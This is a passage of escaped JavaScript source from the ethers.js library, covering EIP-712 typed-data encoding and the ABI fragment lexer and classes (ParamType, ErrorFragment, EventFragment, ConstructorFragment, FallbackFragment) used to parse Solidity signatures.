return;\n }\n domainValues[name] = domainChecks[name](value);\n domainTypes.push({ name, type: domainFieldTypes[name] });\n });\n const encoder = TypedDataEncoder.from(types);\n // Get the normalized types\n types = encoder.types;\n const typesWithDomain = Object.assign({}, types);\n assertArgument(typesWithDomain.EIP712Domain == null, \"types must not contain EIP712Domain type\", \"types.EIP712Domain\", types);\n typesWithDomain.EIP712Domain = domainTypes;\n // Validate the data structures and types\n encoder.encode(value);\n return {\n types: typesWithDomain,\n domain: domainValues,\n primaryType: encoder.primaryType,\n message: encoder.visit(value, (type, value) => {\n // bytes\n if (type.match(/^bytes(\\d*)/)) {\n return hexlify(getBytes(value));\n }\n // uint or int\n if (type.match(/^u?int/)) {\n return getBigInt(value).toString();\n }\n switch (type) {\n case \"address\":\n return value.toLowerCase();\n case \"bool\":\n return !!value;\n case \"string\":\n assertArgument(typeof (value) === \"string\", \"invalid string\", \"value\", value);\n return value;\n }\n assertArgument(false, \"unsupported type\", \"type\", type);\n })\n };\n }\n}\n/**\n * Compute the address used to sign the typed data for the %%signature%%.\n */\nexport function verifyTypedData(domain, types, value, signature) {\n return recoverAddress(TypedDataEncoder.hash(domain, types, value), signature);\n}\n//# sourceMappingURL=typed-data.js.map","/**\n * A fragment is a single item from an ABI, which may represent any of:\n *\n * - [Functions](FunctionFragment)\n * - [Events](EventFragment)\n * - [Constructors](ConstructorFragment)\n * - Custom [Errors](ErrorFragment)\n * - [Fallback or Receive](FallbackFragment) functions\n *\n * @_subsection api/abi/abi-coder:Fragments [about-fragments]\n */\nimport { defineProperties, getBigInt, getNumber, assert, assertPrivate, assertArgument } from \"../utils/index.js\";\nimport { id } from \"../hash/index.js\";\n;\n// [ \"a\", \"b\" ] => { \"a\": 1, \"b\": 1 }\nfunction setify(items) {\n const result = new Set();\n items.forEach((k) => result.add(k));\n return Object.freeze(result);\n}\nconst _kwVisibDeploy = \"external public payable override\";\nconst KwVisibDeploy = setify(_kwVisibDeploy.split(\" \"));\n// Visibility Keywords\nconst _kwVisib = \"constant external internal payable private public pure view override\";\nconst KwVisib = setify(_kwVisib.split(\" \"));\nconst _kwTypes = \"constructor error event fallback function receive struct\";\nconst KwTypes = setify(_kwTypes.split(\" \"));\nconst _kwModifiers = \"calldata memory storage payable indexed\";\nconst KwModifiers = setify(_kwModifiers.split(\" \"));\nconst _kwOther = \"tuple returns\";\n// All Keywords\nconst _keywords = [_kwTypes, _kwModifiers, _kwOther, _kwVisib].join(\" \");\nconst Keywords = setify(_keywords.split(\" \"));\n// Single character tokens\nconst SimpleTokens = {\n \"(\": \"OPEN_PAREN\", \")\": \"CLOSE_PAREN\",\n \"[\": \"OPEN_BRACKET\", \"]\": \"CLOSE_BRACKET\",\n \",\": \"COMMA\", \"@\": \"AT\"\n};\n// Parser regexes to consume the next token\nconst regexWhitespacePrefix = new RegExp(\"^(\\\\s*)\");\nconst regexNumberPrefix = new RegExp(\"^([0-9]+)\");\nconst regexIdPrefix = new RegExp(\"^([a-zA-Z$_][a-zA-Z0-9$_]*)\");\n// Parser regexs to check validity\nconst regexId = new RegExp(\"^([a-zA-Z$_][a-zA-Z0-9$_]*)$\");\nconst regexType = new RegExp(\"^(address|bool|bytes([0-9]*)|string|u?int([0-9]*))$\");\nclass TokenString {\n #offset;\n #tokens;\n get offset() { return this.#offset; }\n get length() { return this.#tokens.length - this.#offset; }\n constructor(tokens) {\n this.#offset = 0;\n this.#tokens = tokens.slice();\n }\n clone() { return new TokenString(this.#tokens); }\n reset() { this.#offset = 0; }\n #subTokenString(from = 0, to = 0) {\n return new TokenString(this.#tokens.slice(from, to).map((t) => {\n return Object.freeze(Object.assign({}, t, {\n match: (t.match - from),\n linkBack: (t.linkBack - from),\n linkNext: (t.linkNext - from),\n }));\n }));\n }\n // Pops and returns the value of the next token, if it is a keyword in allowed; throws if out of tokens\n popKeyword(allowed) {\n const top = this.peek();\n if (top.type !== \"KEYWORD\" || !allowed.has(top.text)) {\n throw new Error(`expected keyword ${top.text}`);\n }\n return this.pop().text;\n }\n // Pops and returns the value of the next token if it is `type`; throws if out of tokens\n popType(type) {\n if (this.peek().type !== type) {\n const top = this.peek();\n throw new Error(`expected ${type}; got ${top.type} ${JSON.stringify(top.text)}`);\n }\n return this.pop().text;\n }\n // Pops and returns a \"(\" TOKENS \")\"\n popParen() {\n const top = this.peek();\n if (top.type !== \"OPEN_PAREN\") {\n throw new Error(\"bad start\");\n }\n const result = this.#subTokenString(this.#offset + 1, top.match + 1);\n this.#offset = top.match + 1;\n return result;\n }\n // Pops and returns the items within \"(\" ITEM1 \",\" ITEM2 \",\" ... \")\"\n popParams() {\n const top = this.peek();\n if (top.type !== \"OPEN_PAREN\") {\n throw new Error(\"bad start\");\n }\n const result = [];\n while (this.#offset < top.match - 1) {\n const link = this.peek().linkNext;\n result.push(this.#subTokenString(this.#offset + 1, link));\n this.#offset = link;\n }\n this.#offset = top.match + 1;\n return result;\n }\n // Returns the top Token, throwing if out of tokens\n peek() {\n if (this.#offset >= this.#tokens.length) {\n throw new Error(\"out-of-bounds\");\n }\n return this.#tokens[this.#offset];\n }\n // Returns the next value, if it is a keyword in `allowed`\n peekKeyword(allowed) {\n const top = this.peekType(\"KEYWORD\");\n return (top != null && allowed.has(top)) ? top : null;\n }\n // Returns the value of the next token if it is `type`\n peekType(type) {\n if (this.length === 0) {\n return null;\n }\n const top = this.peek();\n return (top.type === type) ? top.text : null;\n }\n // Returns the next token; throws if out of tokens\n pop() {\n const result = this.peek();\n this.#offset++;\n return result;\n }\n toString() {\n const tokens = [];\n for (let i = this.#offset; i < this.#tokens.length; i++) {\n const token = this.#tokens[i];\n tokens.push(`${token.type}:${token.text}`);\n }\n return ``;\n }\n}\nfunction lex(text) {\n const tokens = [];\n const throwError = (message) => {\n const token = (offset < text.length) ? JSON.stringify(text[offset]) : \"$EOI\";\n throw new Error(`invalid token ${token} at ${offset}: ${message}`);\n };\n let brackets = [];\n let commas = [];\n let offset = 0;\n while (offset < text.length) {\n // Strip off any leading whitespace\n let cur = text.substring(offset);\n let match = cur.match(regexWhitespacePrefix);\n if (match) {\n offset += match[1].length;\n cur = text.substring(offset);\n }\n const token = { depth: brackets.length, linkBack: -1, linkNext: -1, match: -1, type: \"\", text: \"\", offset, value: -1 };\n tokens.push(token);\n let type = (SimpleTokens[cur[0]] || \"\");\n if (type) {\n token.type = type;\n token.text = cur[0];\n offset++;\n if (type === \"OPEN_PAREN\") {\n brackets.push(tokens.length - 1);\n commas.push(tokens.length - 1);\n }\n else if (type == \"CLOSE_PAREN\") {\n if (brackets.length === 0) {\n throwError(\"no matching open bracket\");\n }\n token.match = brackets.pop();\n (tokens[token.match]).match = tokens.length - 1;\n token.depth--;\n token.linkBack = commas.pop();\n (tokens[token.linkBack]).linkNext = tokens.length - 1;\n }\n else if (type === \"COMMA\") {\n token.linkBack = commas.pop();\n (tokens[token.linkBack]).linkNext = tokens.length - 1;\n commas.push(tokens.length - 1);\n }\n else if (type === \"OPEN_BRACKET\") {\n token.type = \"BRACKET\";\n }\n else if (type === \"CLOSE_BRACKET\") {\n // Remove the CLOSE_BRACKET\n let suffix = tokens.pop().text;\n if (tokens.length > 0 && tokens[tokens.length - 1].type === \"NUMBER\") {\n const value = tokens.pop().text;\n suffix = value + suffix;\n (tokens[tokens.length - 1]).value = getNumber(value);\n }\n if (tokens.length === 0 || tokens[tokens.length - 1].type !== \"BRACKET\") {\n throw new Error(\"missing opening bracket\");\n }\n (tokens[tokens.length - 1]).text += suffix;\n }\n continue;\n }\n match = cur.match(regexIdPrefix);\n if (match) {\n token.text = match[1];\n offset += token.text.length;\n if (Keywords.has(token.text)) {\n token.type = \"KEYWORD\";\n continue;\n }\n if (token.text.match(regexType)) {\n token.type = \"TYPE\";\n continue;\n }\n token.type = \"ID\";\n continue;\n }\n match = cur.match(regexNumberPrefix);\n if (match) {\n token.text = match[1];\n token.type = \"NUMBER\";\n offset += token.text.length;\n continue;\n }\n throw new Error(`unexpected token ${JSON.stringify(cur[0])} at position ${offset}`);\n }\n return new TokenString(tokens.map((t) => Object.freeze(t)));\n}\n// Check only one of `allowed` is in `set`\nfunction allowSingle(set, allowed) {\n let included = [];\n for (const key in allowed.keys()) {\n if (set.has(key)) {\n included.push(key);\n }\n }\n if (included.length > 1) {\n throw new Error(`conflicting types: ${included.join(\", \")}`);\n }\n}\n// Functions to process a Solidity Signature TokenString from left-to-right for...\n// ...the name with an optional type, returning the name\nfunction consumeName(type, tokens) {\n if (tokens.peekKeyword(KwTypes)) {\n const keyword = tokens.pop().text;\n if (keyword !== type) {\n throw new Error(`expected ${type}, got ${keyword}`);\n }\n }\n return tokens.popType(\"ID\");\n}\n// ...all keywords matching allowed, returning the keywords\nfunction consumeKeywords(tokens, allowed) {\n const keywords = new Set();\n while (true) {\n const keyword = tokens.peekType(\"KEYWORD\");\n if (keyword == null || (allowed && !allowed.has(keyword))) {\n break;\n }\n tokens.pop();\n if (keywords.has(keyword)) {\n throw new Error(`duplicate keywords: ${JSON.stringify(keyword)}`);\n }\n keywords.add(keyword);\n }\n return Object.freeze(keywords);\n}\n// ...all visibility keywords, returning the coalesced mutability\nfunction consumeMutability(tokens) {\n let modifiers = consumeKeywords(tokens, KwVisib);\n // Detect conflicting modifiers\n allowSingle(modifiers, setify(\"constant payable nonpayable\".split(\" \")));\n allowSingle(modifiers, setify(\"pure view payable nonpayable\".split(\" \")));\n // Process mutability states\n if (modifiers.has(\"view\")) {\n return \"view\";\n }\n if (modifiers.has(\"pure\")) {\n return \"pure\";\n }\n if (modifiers.has(\"payable\")) {\n return \"payable\";\n }\n if (modifiers.has(\"nonpayable\")) {\n return \"nonpayable\";\n }\n // Process legacy `constant` last\n if (modifiers.has(\"constant\")) {\n return \"view\";\n }\n return \"nonpayable\";\n}\n// ...a parameter list, returning the ParamType list\nfunction consumeParams(tokens, allowIndexed) {\n return tokens.popParams().map((t) => ParamType.from(t, allowIndexed));\n}\n// ...a gas limit, returning a BigNumber or null if none\nfunction consumeGas(tokens) {\n if (tokens.peekType(\"AT\")) {\n tokens.pop();\n if (tokens.peekType(\"NUMBER\")) {\n return getBigInt(tokens.pop().text);\n }\n throw new Error(\"invalid gas\");\n }\n return null;\n}\nfunction consumeEoi(tokens) {\n if (tokens.length) {\n throw new Error(`unexpected tokens at offset ${tokens.offset}: ${tokens.toString()}`);\n }\n}\nconst regexArrayType = new RegExp(/^(.*)\\[([0-9]*)\\]$/);\nfunction verifyBasicType(type) {\n const match = type.match(regexType);\n assertArgument(match, \"invalid type\", \"type\", type);\n if (type === \"uint\") {\n return \"uint256\";\n }\n if (type === \"int\") {\n return \"int256\";\n }\n if (match[2]) {\n // bytesXX\n const length = parseInt(match[2]);\n assertArgument(length !== 0 && length <= 32, \"invalid bytes length\", \"type\", type);\n }\n else if (match[3]) {\n // intXX or uintXX\n const size = parseInt(match[3]);\n assertArgument(size !== 0 && size <= 256 && (size % 8) === 0, \"invalid numeric width\", \"type\", type);\n }\n return type;\n}\n// Make the Fragment constructors effectively private\nconst _guard = {};\nconst internal = Symbol.for(\"_ethers_internal\");\nconst ParamTypeInternal = \"_ParamTypeInternal\";\nconst ErrorFragmentInternal = \"_ErrorInternal\";\nconst EventFragmentInternal = \"_EventInternal\";\nconst ConstructorFragmentInternal = \"_ConstructorInternal\";\nconst FallbackFragmentInternal = \"_FallbackInternal\";\nconst FunctionFragmentInternal = \"_FunctionInternal\";\nconst StructFragmentInternal = \"_StructInternal\";\n/**\n * Each input and output of a [[Fragment]] is an Array of **ParamType**.\n */\nexport class ParamType {\n /**\n * The local name of the parameter (or ``\"\"`` if unbound)\n */\n name;\n /**\n * The fully qualified type (e.g. ``\"address\"``, ``\"tuple(address)\"``,\n * ``\"uint256[3][]\"``)\n */\n type;\n /**\n * The base type (e.g. ``\"address\"``, ``\"tuple\"``, ``\"array\"``)\n */\n baseType;\n /**\n * True if the parameters is indexed.\n *\n * For non-indexable types this is ``null``.\n */\n indexed;\n /**\n * The components for the tuple.\n *\n * For non-tuple types this is ``null``.\n */\n components;\n /**\n * The array length, or ``-1`` for dynamic-lengthed arrays.\n *\n * For non-array types this is ``null``.\n */\n arrayLength;\n /**\n * The type of each child in the array.\n *\n * For non-array types this is ``null``.\n */\n arrayChildren;\n /**\n * @private\n */\n constructor(guard, name, type, baseType, indexed, components, arrayLength, arrayChildren) {\n assertPrivate(guard, _guard, \"ParamType\");\n Object.defineProperty(this, internal, { value: ParamTypeInternal });\n if (components) {\n components = Object.freeze(components.slice());\n }\n if (baseType === \"array\") {\n if (arrayLength == null || arrayChildren == null) {\n throw new Error(\"\");\n }\n }\n else if (arrayLength != null || arrayChildren != null) {\n throw new Error(\"\");\n }\n if (baseType === \"tuple\") {\n if (components == null) {\n throw new Error(\"\");\n }\n }\n else if (components != null) {\n throw new Error(\"\");\n }\n defineProperties(this, {\n name, type, baseType, indexed, components, arrayLength, arrayChildren\n });\n }\n /**\n * Return a string representation of this type.\n *\n * For example,\n *\n * ``sighash\" => \"(uint256,address)\"``\n *\n * ``\"minimal\" => \"tuple(uint256,address) indexed\"``\n *\n * ``\"full\" => \"tuple(uint256 foo, address bar) indexed baz\"``\n */\n format(format) {\n if (format == null) {\n format = \"sighash\";\n }\n if (format === \"json\") {\n const name = this.name || \"\";\n if (this.isArray()) {\n const result = JSON.parse(this.arrayChildren.format(\"json\"));\n result.name = name;\n result.type += `[${(this.arrayLength < 0 ? \"\" : String(this.arrayLength))}]`;\n return JSON.stringify(result);\n }\n const result = {\n type: ((this.baseType === \"tuple\") ? \"tuple\" : this.type),\n name\n };\n if (typeof (this.indexed) === \"boolean\") {\n result.indexed = this.indexed;\n }\n if (this.isTuple()) {\n result.components = this.components.map((c) => JSON.parse(c.format(format)));\n }\n return JSON.stringify(result);\n }\n let result = \"\";\n // Array\n if (this.isArray()) {\n result += this.arrayChildren.format(format);\n result += `[${(this.arrayLength < 0 ? \"\" : String(this.arrayLength))}]`;\n }\n else {\n if (this.isTuple()) {\n result += \"(\" + this.components.map((comp) => comp.format(format)).join((format === \"full\") ? \", \" : \",\") + \")\";\n }\n else {\n result += this.type;\n }\n }\n if (format !== \"sighash\") {\n if (this.indexed === true) {\n result += \" indexed\";\n }\n if (format === \"full\" && this.name) {\n result += \" \" + this.name;\n }\n }\n return result;\n }\n /**\n * Returns true if %%this%% is an Array type.\n *\n * This provides a type gaurd ensuring that [[arrayChildren]]\n * and [[arrayLength]] are non-null.\n */\n isArray() {\n return (this.baseType === \"array\");\n }\n /**\n * Returns true if %%this%% is a Tuple type.\n *\n * This provides a type gaurd ensuring that [[components]]\n * is non-null.\n */\n isTuple() {\n return (this.baseType === \"tuple\");\n }\n /**\n * Returns true if %%this%% is an Indexable type.\n *\n * This provides a type gaurd ensuring that [[indexed]]\n * is non-null.\n */\n isIndexable() {\n return (this.indexed != null);\n }\n /**\n * Walks the **ParamType** with %%value%%, calling %%process%%\n * on each type, destructing the %%value%% recursively.\n */\n walk(value, process) {\n if (this.isArray()) {\n if (!Array.isArray(value)) {\n throw new Error(\"invalid array value\");\n }\n if (this.arrayLength !== -1 && value.length !== this.arrayLength) {\n throw new Error(\"array is wrong length\");\n }\n const _this = this;\n return value.map((v) => (_this.arrayChildren.walk(v, process)));\n }\n if (this.isTuple()) {\n if (!Array.isArray(value)) {\n throw new Error(\"invalid tuple value\");\n }\n if (value.length !== this.components.length) {\n throw new Error(\"array is wrong length\");\n }\n const _this = this;\n return value.map((v, i) => (_this.components[i].walk(v, process)));\n }\n return process(this.type, value);\n }\n #walkAsync(promises, value, process, setValue) {\n if (this.isArray()) {\n if (!Array.isArray(value)) {\n throw new Error(\"invalid array value\");\n }\n if (this.arrayLength !== -1 && value.length !== this.arrayLength) {\n throw new Error(\"array is wrong length\");\n }\n const childType = this.arrayChildren;\n const result = value.slice();\n result.forEach((value, index) => {\n childType.#walkAsync(promises, value, process, (value) => {\n result[index] = value;\n });\n });\n setValue(result);\n return;\n }\n if (this.isTuple()) {\n const components = this.components;\n // Convert the object into an array\n let result;\n if (Array.isArray(value)) {\n result = value.slice();\n }\n else {\n if (value == null || typeof (value) !== \"object\") {\n throw new Error(\"invalid tuple value\");\n }\n result = components.map((param) => {\n if (!param.name) {\n throw new Error(\"cannot use object value with unnamed components\");\n }\n if (!(param.name in value)) {\n throw new Error(`missing value for component ${param.name}`);\n }\n return value[param.name];\n });\n }\n if (result.length !== this.components.length) {\n throw new Error(\"array is wrong length\");\n }\n result.forEach((value, index) => {\n components[index].#walkAsync(promises, value, process, (value) => {\n result[index] = value;\n });\n });\n setValue(result);\n return;\n }\n const result = process(this.type, value);\n if (result.then) {\n promises.push((async function () { setValue(await result); })());\n }\n else {\n setValue(result);\n }\n }\n /**\n * Walks the **ParamType** with %%value%%, asynchronously calling\n * %%process%% on each type, destructing the %%value%% recursively.\n *\n * This can be used to resolve ENS names by walking and resolving each\n * ``\"address\"`` type.\n */\n async walkAsync(value, process) {\n const promises = [];\n const result = [value];\n this.#walkAsync(promises, value, process, (value) => {\n result[0] = value;\n });\n if (promises.length) {\n await Promise.all(promises);\n }\n return result[0];\n }\n /**\n * Creates a new **ParamType** for %%obj%%.\n *\n * If %%allowIndexed%% then the ``indexed`` keyword is permitted,\n * otherwise the ``indexed`` keyword will throw an error.\n */\n static from(obj, allowIndexed) {\n if (ParamType.isParamType(obj)) {\n return obj;\n }\n if (typeof (obj) === \"string\") {\n try {\n return ParamType.from(lex(obj), allowIndexed);\n }\n catch (error) {\n assertArgument(false, \"invalid param type\", \"obj\", obj);\n }\n }\n else if (obj instanceof TokenString) {\n let type = \"\", baseType = \"\";\n let comps = null;\n if (consumeKeywords(obj, setify([\"tuple\"])).has(\"tuple\") || obj.peekType(\"OPEN_PAREN\")) {\n // Tuple\n baseType = \"tuple\";\n comps = obj.popParams().map((t) => ParamType.from(t));\n type = `tuple(${comps.map((c) => c.format()).join(\",\")})`;\n }\n else {\n // Normal\n type = verifyBasicType(obj.popType(\"TYPE\"));\n baseType = type;\n }\n // Check for Array\n let arrayChildren = null;\n let arrayLength = null;\n while (obj.length && obj.peekType(\"BRACKET\")) {\n const bracket = obj.pop(); //arrays[i];\n arrayChildren = new ParamType(_guard, \"\", type, baseType, null, comps, arrayLength, arrayChildren);\n arrayLength = bracket.value;\n type += bracket.text;\n baseType = \"array\";\n comps = null;\n }\n let indexed = null;\n const keywords = consumeKeywords(obj, KwModifiers);\n if (keywords.has(\"indexed\")) {\n if (!allowIndexed) {\n throw new Error(\"\");\n }\n indexed = true;\n }\n const name = (obj.peekType(\"ID\") ? obj.pop().text : \"\");\n if (obj.length) {\n throw new Error(\"leftover tokens\");\n }\n return new ParamType(_guard, name, type, baseType, indexed, comps, arrayLength, arrayChildren);\n }\n const name = obj.name;\n assertArgument(!name || (typeof (name) === \"string\" && name.match(regexId)), \"invalid name\", \"obj.name\", name);\n let indexed = obj.indexed;\n if (indexed != null) {\n assertArgument(allowIndexed, \"parameter cannot be indexed\", \"obj.indexed\", obj.indexed);\n indexed = !!indexed;\n }\n let type = obj.type;\n let arrayMatch = type.match(regexArrayType);\n if (arrayMatch) {\n const arrayLength = parseInt(arrayMatch[2] || \"-1\");\n const arrayChildren = ParamType.from({\n type: arrayMatch[1],\n components: obj.components\n });\n return new ParamType(_guard, name || \"\", type, \"array\", indexed, null, arrayLength, arrayChildren);\n }\n if (type === \"tuple\" || type.startsWith(\"tuple(\" /* fix: ) */) || type.startsWith(\"(\" /* fix: ) */)) {\n const comps = (obj.components != null) ? obj.components.map((c) => ParamType.from(c)) : null;\n const tuple = new ParamType(_guard, name || \"\", type, \"tuple\", indexed, comps, null, null);\n // @TODO: use lexer to validate and normalize type\n return tuple;\n }\n type = verifyBasicType(obj.type);\n return new ParamType(_guard, name || \"\", type, type, indexed, null, null, null);\n }\n /**\n * Returns true if %%value%% is a **ParamType**.\n */\n static isParamType(value) {\n return (value && value[internal] === ParamTypeInternal);\n }\n}\n/**\n * An abstract class to represent An individual fragment from a parse ABI.\n */\nexport class Fragment {\n /**\n * The type of the fragment.\n */\n type;\n /**\n * The inputs for the fragment.\n */\n inputs;\n /**\n * @private\n */\n constructor(guard, type, inputs) {\n assertPrivate(guard, _guard, \"Fragment\");\n inputs = Object.freeze(inputs.slice());\n defineProperties(this, { type, inputs });\n }\n /**\n * Creates a new **Fragment** for %%obj%%, wich can be any supported\n * ABI frgament type.\n */\n static from(obj) {\n if (typeof (obj) === \"string\") {\n // Try parsing JSON...\n try {\n Fragment.from(JSON.parse(obj));\n }\n catch (e) { }\n // ...otherwise, use the human-readable lexer\n return Fragment.from(lex(obj));\n }\n if (obj instanceof TokenString) {\n // Human-readable ABI (already lexed)\n const type = obj.peekKeyword(KwTypes);\n switch (type) {\n case \"constructor\": return ConstructorFragment.from(obj);\n case \"error\": return ErrorFragment.from(obj);\n case \"event\": return EventFragment.from(obj);\n case \"fallback\":\n case \"receive\":\n return FallbackFragment.from(obj);\n case \"function\": return FunctionFragment.from(obj);\n case \"struct\": return StructFragment.from(obj);\n }\n }\n else if (typeof (obj) === \"object\") {\n // JSON ABI\n switch (obj.type) {\n case \"constructor\": return ConstructorFragment.from(obj);\n case \"error\": return ErrorFragment.from(obj);\n case \"event\": return EventFragment.from(obj);\n case \"fallback\":\n case \"receive\":\n return FallbackFragment.from(obj);\n case \"function\": return FunctionFragment.from(obj);\n case \"struct\": return StructFragment.from(obj);\n }\n assert(false, `unsupported type: ${obj.type}`, \"UNSUPPORTED_OPERATION\", {\n operation: \"Fragment.from\"\n });\n }\n assertArgument(false, \"unsupported frgament object\", \"obj\", obj);\n }\n /**\n * Returns true if %%value%% is a [[ConstructorFragment]].\n */\n static isConstructor(value) {\n return ConstructorFragment.isFragment(value);\n }\n /**\n * Returns true if %%value%% is an [[ErrorFragment]].\n */\n static isError(value) {\n return ErrorFragment.isFragment(value);\n }\n /**\n * Returns true if %%value%% is an [[EventFragment]].\n */\n static isEvent(value) {\n return EventFragment.isFragment(value);\n }\n /**\n * Returns true if %%value%% is a [[FunctionFragment]].\n */\n static isFunction(value) {\n return FunctionFragment.isFragment(value);\n }\n /**\n * Returns true if %%value%% is a [[StructFragment]].\n */\n static isStruct(value) {\n return StructFragment.isFragment(value);\n }\n}\n/**\n * An abstract class to represent An individual fragment\n * which has a name from a parse ABI.\n */\nexport class NamedFragment extends Fragment {\n /**\n * The name of the fragment.\n */\n name;\n /**\n * @private\n */\n constructor(guard, type, name, inputs) {\n super(guard, type, inputs);\n assertArgument(typeof (name) === \"string\" && name.match(regexId), \"invalid identifier\", \"name\", name);\n inputs = Object.freeze(inputs.slice());\n defineProperties(this, { name });\n }\n}\nfunction joinParams(format, params) {\n return \"(\" + params.map((p) => p.format(format)).join((format === \"full\") ? \", \" : \",\") + \")\";\n}\n/**\n * A Fragment which represents a //Custom Error//.\n */\nexport class ErrorFragment extends NamedFragment {\n /**\n * @private\n */\n constructor(guard, name, inputs) {\n super(guard, \"error\", name, inputs);\n Object.defineProperty(this, internal, { value: ErrorFragmentInternal });\n }\n /**\n * The Custom Error selector.\n */\n get selector() {\n return id(this.format(\"sighash\")).substring(0, 10);\n }\n /**\n * Returns a string representation of this fragment as %%format%%.\n */\n format(format) {\n if (format == null) {\n format = \"sighash\";\n }\n if (format === \"json\") {\n return JSON.stringify({\n type: \"error\",\n name: this.name,\n inputs: this.inputs.map((input) => JSON.parse(input.format(format))),\n });\n }\n const result = [];\n if (format !== \"sighash\") {\n result.push(\"error\");\n }\n result.push(this.name + joinParams(format, this.inputs));\n return result.join(\" \");\n }\n /**\n * Returns a new **ErrorFragment** for %%obj%%.\n */\n static from(obj) {\n if (ErrorFragment.isFragment(obj)) {\n return obj;\n }\n if (typeof (obj) === \"string\") {\n return ErrorFragment.from(lex(obj));\n }\n else if (obj instanceof TokenString) {\n const name = consumeName(\"error\", obj);\n const inputs = consumeParams(obj);\n consumeEoi(obj);\n return new ErrorFragment(_guard, name, inputs);\n }\n return new ErrorFragment(_guard, obj.name, obj.inputs ? obj.inputs.map(ParamType.from) : []);\n }\n /**\n * Returns ``true`` and provides a type guard if %%value%% is an\n * **ErrorFragment**.\n */\n static isFragment(value) {\n return (value && value[internal] === ErrorFragmentInternal);\n }\n}\n/**\n * A Fragment which represents an Event.\n */\nexport class EventFragment extends NamedFragment {\n /**\n * Whether this event is anonymous.\n */\n anonymous;\n /**\n * @private\n */\n constructor(guard, name, inputs, anonymous) {\n super(guard, \"event\", name, inputs);\n Object.defineProperty(this, internal, { value: EventFragmentInternal });\n defineProperties(this, { anonymous });\n }\n /**\n * The Event topic hash.\n */\n get topicHash() {\n return id(this.format(\"sighash\"));\n }\n /**\n * Returns a string representation of this event as %%format%%.\n */\n format(format) {\n if (format == null) {\n format = \"sighash\";\n }\n if (format === \"json\") {\n return JSON.stringify({\n type: \"event\",\n anonymous: this.anonymous,\n name: this.name,\n inputs: this.inputs.map((i) => JSON.parse(i.format(format)))\n });\n }\n const result = [];\n if (format !== \"sighash\") {\n result.push(\"event\");\n }\n result.push(this.name + joinParams(format, this.inputs));\n if (format !== \"sighash\" && this.anonymous) {\n result.push(\"anonymous\");\n }\n return result.join(\" \");\n }\n /**\n * Return the topic hash for an event with %%name%% and %%params%%.\n */\n static getTopicHash(name, params) {\n params = (params || []).map((p) => ParamType.from(p));\n const fragment = new EventFragment(_guard, name, params, false);\n return fragment.topicHash;\n }\n /**\n * Returns a new **EventFragment** for %%obj%%.\n */\n static from(obj) {\n if (EventFragment.isFragment(obj)) {\n return obj;\n }\n if (typeof (obj) === \"string\") {\n try {\n return EventFragment.from(lex(obj));\n }\n catch (error) {\n assertArgument(false, \"invalid event fragment\", \"obj\", obj);\n }\n }\n else if (obj instanceof TokenString) {\n const name = consumeName(\"event\", obj);\n const inputs = consumeParams(obj, true);\n const anonymous = !!consumeKeywords(obj, setify([\"anonymous\"])).has(\"anonymous\");\n consumeEoi(obj);\n return new EventFragment(_guard, name, inputs, anonymous);\n }\n return new EventFragment(_guard, obj.name, obj.inputs ? obj.inputs.map((p) => ParamType.from(p, true)) : [], !!obj.anonymous);\n }\n /**\n * Returns ``true`` and provides a type guard if %%value%% is an\n * **EventFragment**.\n */\n static isFragment(value) {\n return (value && value[internal] === EventFragmentInternal);\n }\n}\n/**\n * A Fragment which represents a constructor.\n */\nexport class ConstructorFragment extends Fragment {\n /**\n * Whether the constructor can receive an endowment.\n */\n payable;\n /**\n * The recommended gas limit for deployment or ``null``.\n */\n gas;\n /**\n * @private\n */\n constructor(guard, type, inputs, payable, gas) {\n super(guard, type, inputs);\n Object.defineProperty(this, internal, { value: ConstructorFragmentInternal });\n defineProperties(this, { payable, gas });\n }\n /**\n * Returns a string representation of this constructor as %%format%%.\n */\n format(format) {\n assert(format != null && format !== \"sighash\", \"cannot format a constructor for sighash\", \"UNSUPPORTED_OPERATION\", { operation: \"format(sighash)\" });\n if (format === \"json\") {\n return JSON.stringify({\n type: \"constructor\",\n stateMutability: (this.payable ? \"payable\" : \"undefined\"),\n payable: this.payable,\n gas: ((this.gas != null) ? this.gas : undefined),\n inputs: this.inputs.map((i) => JSON.parse(i.format(format)))\n });\n }\n const result = [`constructor${joinParams(format, this.inputs)}`];\n if (this.payable) {\n result.push(\"payable\");\n }\n if (this.gas != null) {\n result.push(`@${this.gas.toString()}`);\n }\n return result.join(\" \");\n }\n /**\n * Returns a new **ConstructorFragment** for %%obj%%.\n */\n static from(obj) {\n if (ConstructorFragment.isFragment(obj)) {\n return obj;\n }\n if (typeof (obj) === \"string\") {\n try {\n return ConstructorFragment.from(lex(obj));\n }\n catch (error) {\n assertArgument(false, \"invalid constuctor fragment\", \"obj\", obj);\n }\n }\n else if (obj instanceof TokenString) {\n consumeKeywords(obj, setify([\"constructor\"]));\n const inputs = consumeParams(obj);\n const payable = !!consumeKeywords(obj, KwVisibDeploy).has(\"payable\");\n const gas = consumeGas(obj);\n consumeEoi(obj);\n return new ConstructorFragment(_guard, \"constructor\", inputs, payable, gas);\n }\n return new ConstructorFragment(_guard, \"constructor\", obj.inputs ? obj.inputs.map(ParamType.from) : [], !!obj.payable, (obj.gas != null) ? obj.gas : null);\n }\n /**\n * Returns ``true`` and provides a type guard if %%value%% is a\n * **ConstructorFragment**.\n */\n static isFragment(value) {\n return (value && value[internal] === ConstructorFragmentInternal);\n }\n}\n/**\n * A Fragment which represents a method.\n */\nexport class FallbackFragment extends Fragment {\n /**\n * If the function can be sent value during invocation.\n */\n payable;\n constructor(guard, inputs, payable) {\n super(guard, \"fallback\", inputs);\n Object.defineProperty(this, internal, { value: FallbackFragmentInternal });\n defineProperties(this, { payable });\n }\n /**\n * Returns a string representation of this fallback as %%format%%.\n */\n format(format) {\n const type = ((this.inputs.length === 0) ? \"receive\" : \"fallback\");\n if (format === \"json\") {\n const stateMutability = (this.payable ? \"payable\" : \"nonpayable\");\n return JSON.stringify({ type, stateMutability });\n }\n return `${type}()${this.payable ? \" payable\" : \"\"}`;\n }\n /**\n * Returns a new **FallbackFragment** for %%obj%%.\n */\n static from(obj) {\n if (FallbackFragment.isFragment(obj)) {\n return obj;\n }\n if (typeof (obj) === \"string\") {\n try {\n return FallbackFragment.from(lex(obj));\n }\n catch (error) {\n assertArgument(false, \"invalid fallback fragment\", \"obj\", obj);\n }\n }\n else if (obj instanceof TokenString) {\n const errorObj = obj.toString();\n const topIsValid = obj.peekKeyword(setify([\"fallback\", \"receive\"]));\n assertArgument(topIsValid, \"type must be fallback or receive\", \"obj\", errorObj);\n const type = obj.popKeyword(setify([\"fallback\", \"receive\"]));\n // receive()\n if (type === \"receive\") {\n const inputs = consumeParams(obj);\n assertArgument(inputs.length === 0, `receive cannot have arguments`, 